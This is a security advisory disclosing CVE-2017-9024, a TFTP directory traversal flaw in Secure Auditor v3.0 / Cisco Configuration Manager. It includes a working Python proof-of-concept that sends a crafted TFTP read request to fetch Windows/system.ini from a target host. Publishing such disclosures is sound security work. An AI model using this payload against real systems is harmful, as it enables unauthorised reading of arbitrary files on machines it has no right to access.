[+] Credits: John Page aka HYP3RLINX [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/SECURE-AUDITOR-v3.0-DIRECTORY-TRAVERSAL.txt [+] ISR: ApparitionSec Vendor: ==================== www.secure-bytes.com Product: ===================== Secure Auditor - v3.0 Secure Auditor suite is a unified digital risk management solution for conducting automated audits on Windows, Oracle and SQL databases and Cisco devices. Vulnerability Type: =================== Directory Traversal CVE Reference: ============== CVE-2017-9024 Security Issue: ================ Secure Bytes Cisco Configuration Manager, as bundled in Secure Bytes Secure Cisco Auditor (SCA) 3.0, has a Directory Traversal issue in its TFTP Server, allowing attackers to read arbitrary files via ../ sequences in a pathname. Exploit/POC: ============= import sys,socket print 'Secure Auditor v3.0 / Cisco Config Manager' print 'TFTP Directory Traversal Exploit' print 'Read ../../../../Windows/system.ini POC' print 'hyp3rlinx' HOST = raw_input("[IP]> ") FILE = '../../../../Windows/system.ini' PORT = 69 PAYLOAD = "\x00\x01" #TFTP Read PAYLOAD += FILE+"\x00" #Read system.ini using directory traversal PAYLOAD += "netascii\x00" #TFTP Type s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.sendto(PAYLOAD, (HOST, PORT)) out = s.recv(1024) s.close() print "Victim Data located on : %s " %(HOST) print out.strip() Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ================================== Vendor Notification: May 10, 2017 No replies May 20, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx